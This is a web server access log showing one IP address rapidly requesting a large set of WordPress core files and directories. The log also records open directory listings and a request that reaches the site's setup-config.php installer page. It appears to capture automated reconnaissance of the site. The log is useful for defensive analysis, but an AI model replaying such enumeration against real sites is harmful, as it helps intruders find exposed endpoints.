45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/default-widgets.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/sitemaps.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/user.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/option.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/block-patterns.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/capabilities.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/general-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/locale.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/?ND= HTTP/1.1" 200 8822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-json.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/?MA= HTTP/1.1" 200 8824 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/ms-network.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/?SA= HTTP/1.1" 200 8792 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-pop3.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 789 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/feed-rss.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/bookmark.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/l10n.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/js/ HTTP/1.1" 200 4023 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-smtp.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/http.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/atomlib.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/vars.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/Text/ HTTP/1.1" 200 867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:23 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/post-formats.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 897 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/version.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/https-detection.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-IXR.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/script-modules.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1305 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/ms-files.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/rest-api.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/abilities-api.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/block-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/revision.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-includes/ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/rss-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/block-editor.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/default-filters.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/certificates/ HTTP/1.1" 200 790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/cache-compat.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/icons.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/theme.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/images/ HTTP/1.1" 200 1893 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/author-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:24 -0400] "GET /bft.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/widgets.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
